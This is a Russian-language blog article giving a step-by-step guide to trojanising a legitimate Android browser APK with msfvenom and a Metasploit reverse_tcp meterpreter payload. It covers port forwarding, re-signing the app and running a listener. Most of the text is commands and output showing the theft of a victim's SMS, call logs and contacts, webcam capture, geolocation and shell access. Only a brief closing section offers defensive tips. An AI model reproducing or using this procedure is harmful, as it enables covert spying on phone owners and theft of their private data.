Как взломать смартфон: этапы взлома
На модерации
Отложенный
В статье описывается процесс, с помощью которого хакер может взломать смартфон жертвы, используя набор простых инструментов операционной системы Кали Линукс. И сегодня разберём один из способов того, как злоумышленник может взломать смартфон, находящийся под управлением операционной системы Андроид. Причём благодаря автоматизации некоторых процессов и при должной сноровке этот процесс можно поставить прямо-таки на поток.
- Лаборатория
- Возможности хакера
- Процесс создания троянского приложения
- Урожай
- Превентивные меры или как не попасться в лапы хакера
Как взломать смартфон: лаборатория хакера.
- Компьютер под управлением Кали Линукс Rolling
- Смартфон под управлением Андроид
- Невнимательный пользователь
Что хакер сможет сделать?
С помощью этого способа злоумышленник получит возможность:
- читать смс
- номера набранных телефонов
- включать камеры устройства и просматривать видео в режиме он-лайн
- определять текущее местоположение с большой точностью (в случае, если жертва использует Wi-Fi для выхода в сеть)
- управлять устройством с помощью shell-команд (копировать, создавать и удалять файлы)
Как взломать смартфон: этапы взлома
Весь процесс разбивается на несколько этапов:
- выбор оригинального приложения-жертвы
- генерация пэйлоуда — декомпиляция двух файлов (созданного пэйлоуда и оригинального приложения .apk) — инжектированиефайлов пэйлоуда в приложение — инжектирование специальных возможностей пэйлоуда и необходимых для этого разрешений для полноценной работы метерпретера
- размещение заражённого приложения и удалённая с ним работа
Как видите самый смак лежит во втором, самом объёмном пункте. Дело в том, что всё описанное в нём можно проделать с помощью инструментария Метасплойт единственной командой через msfvenom, а можно — вручную. Она — команда — появится чуть ниже, а пока детали подготовки и объяснение флагов.
Выбираем приложение.
Перед тем, как начать, хакеру необходимо определиться с искомым приложением, которое он будет заражать для последующей «раздачи». Дело здесь не столько в популярности выбираемого, сколько в УЖЕ ИМЕЮЩИХСЯ возможностях и разрешениях этой программы. Давая разрешение на установку программы на свой смартфон, пользователи всё чаще обращают внимание именно на действия, которые приложение будет осуществлять. Согласитесь, если программки для игры в шахматы или читалка кодов ошибок автомобилей будет иметь доступ к настройкам звонков и СМС, а также к камере смартфона, это насторожит любого внимательного пользователя.
Однако такое поведение очень даже характерно для другого рода утилит, в том числе системных. Речь идёт о всякого рода чистильщиках, ремонтных утилитах и, конечно, мобильных браузерах и мессенджерах. Скорее всего, хакер обратит свой взор именно в эту степь. Я для примера возьму набирающий популярность мобильный браузер Mercury (у него есть дурацкая особенность — он сидит в автозагрузке и запускается вместе с включением устройства, а хакеру это только на руку), предварительно скачав его apk модуль установщика. Он называетсяilegendsoft.mercury.apk.
Как взломать смартфон: генерация пэйлоуда.
Главная команда, которая и создаст троянский код:
msfvenom -a dalvik --platform android -p android/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=XXXX -x донор.apk -o заражённый.apk
-a dalvik — platform android — целью является платформа Андроид c архитектурой dalvik
Тип пэйлоуда. Обычно подбирается один из трёх типов пэйлоуда, которые по своему функционалу, в принципе, схожи. И все они входят в состав инструментария метерпретер из набора Метасплойт. Единственное их отличие — способ соединения с системой хакера. И выбирать будем из маленького списка:
- reverse_tcp
- reverse_https
- reverse_http
IP адрес хакера. Если выбудете тренироваться на виртуальных площадках лаборатории, то есть смысл указать в качестве адреса локальный IP. У меня в статье будут фигурировать оба: локальный и глобальный адреса, так что вам лишь стоит набрать в Google командуwhat is my ip. IP адрес в локальной сети вам подскажет команда ifconfig. Оба адреса нам понадобятся, советую с этим моментом сразу определиться.
Порт. Выбираем любой, кроме реверсивных (80, например, не прокатит). Для работы в глобальной сети сразу необходимо позаботиться о пробросе портов. В статье о настройке троянской программы Dark Comet я пробросил с этой целью 1555 порт. Им и воспользуюсь в обоих экспериментах. Далее, настраиваем связку роутер — компьютер в опциях dst-nat (в разделе Переадресация портов в службе HTTP добавьте локальный адрес компьютера (из ответа на команду ifconfig в терминале Кали) в формате 192.168.Х.Х — всё зависит от версии вашего роутера):
IP-роутера:1555 -> 192.168.Х.Х:1555
по схеме:
Внешний IP (ХХХ.ХХХ.ХХХ.ХХХ):1555 -> Роутер -> Внутренний (192.168.Х.Х) IP:1555 -> Компьютер_хакера.
Донор.
Как уже указал, это браузер Меркурий (Mercury)ilegendsoft.mercury.apk.
Заражённый. В качестве имени будет фигурировать именно то имя, которое жертве будет подсовываться в качестве реального. Так что вопрос с наименованием также следует продумать заранее. У меня он называется payload.apk.
Далее. В Кали Линукс для работы нам не хватает одной маленькой библиотечки. Её и скачаем:
apt-get install zipalign
Итак, команда создания троянского приложения в моём случае принимает вид, в котором я и запускаю в терминале из директории с оригинальным apk:
msfvenom -a dalvik --platform android -p android/meterpreter/reverse_tcp LHOST=глобальный-IP-адрес LPORT=1555 -x ilegendsoft.mercury.apk -o payload.apk
Готово. Результат вы можете увидеть в той же папке:
Чтобы приложение смогло установиться и запуститься, нам нужно задать ему подпись. И сначала сгенерируем хранилище ключей:
keytool -genkey -v -keystore trojan.keystore -alias trojan -keyalg RSA -keysize 2048 -validity 10000
Сейчас нам придётся пройти рутиную процедуру по регистрации. Пишите, впрочем, что хотите:
сверху рисунка попались результаты работы пейлоуда - будущему браузеру присваивались неограниченные права
А теперь и сама подпись (работаем всё в той же папке).
jarsigner -verbose -keystore trojan.keystore -storepass 123456 -keypass 123456 -digestalg SHA1 -sigalg MD5withRSA payload.apk trojan
Подпись присваивается по умолчанию сроком на 10000 дней. Хватит. Тем временем в рабочей папке появился готовый к отсылке файл. Теперь заражённое приложение (кроме имени и чуть пополневшее — ничем от оригинала не отличается) должно оказаться на смартфоне жертвы и установиться.
Как взломать смартфон: работа с троянским приложением.
Антивирус при установке молчит. Установка проходит незаметно, кроме, конечно, предупреждений о непонятно откуда взявшихся непомерных желаниях браузера. Жертва включает браузер и лезет в сеть.
В это время злоумышленник ждёт урожая. Заряжаем Метасплойт (порты в роутере проброшены?):
msfconsole
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST 192.168.XXX.XXX
set LPORT 1555
run
Запущена текущая сессия метерпретера. Теперь остаётся вспомнить или изучить основные команды метера и команды shell под Андроид. Что-то можно выудить прямо сейчас. Наберите в строке метерпретера:
help
и вы увидите быстрые команды. Что здесь есть:
Что хоть взломали-то такое:
sysinfo
Проверим список sms-сок:
meterpreter > dump_sms
[*] Fetching 611 sms messages
[*] SMS messages saved to: sms_dump_20170531121028.txt
Проверим список звонков ( на выходе вы увидите путь calllog_dump_20170531121133.txt — документ в папке root):
meterpreter > dump_calllog
[*] Fetching 500 entries
[*] Call log saved to calllog_dump_20170531121133.txt
Телефонные номера в книжке:
meterpreter > dump_contacts
[*] Fetching 75 contacts into list
[*] Contacts list saved to: contacts_dump_20170531122443.txt
Логи будут представлены в виде текстовых файлов:
Рутирован ли смартфон:
meterpreter > meterpreter > check_root
[*] Device is not rooted
Сколько есть камер:
meterpreter > meterpreter > webcam_list
1: Back Camera
2: Front Camera
Фото на память (камеры можно выбирать):
meterpreter > webcam_snap
[*] Starting...
[+] Got frame
[*] Stopped Webcam shot saved to: /root/olutbmJh.jpeg
Запишем видео на память:
webcam_stream
На некоторых смартфонах пэйлоуд сам активирует геолокацию, у некоторых пользователей она всегда включена. Проверьте, где он сейчас находится — повезёт-не повезёт (один из моих заражённых смартфонов, работающих через Wi-Fi, определился с точностью до адреса дома):
wlan_geolocate
Наконец, для управления смартфоном наберём:
shell
Есть доступ к командной строке Андроида.
Превентивные меры или как не попасться на удочку.
Из написанного понятны слабые места для тех, кто захочет вас отработать.
- приложение должно попасть на смартфон и установиться. А значит, есть смысл не оставлять его где попало без присмотра. Иначе любое ваше любимое приложение будет работать против вас же
- качаем приложения только из двух источников: разработчики и Google Play (там тоже много чего нехорошего замечено, но Google пытается контролировать ситуацию)
- читайте, что собирается делать устанавливаемое приложение. Если требований к доступу очень уж много, стоит отказаться. Бесплатный сыр, знаете ли… он такой.
Комментарии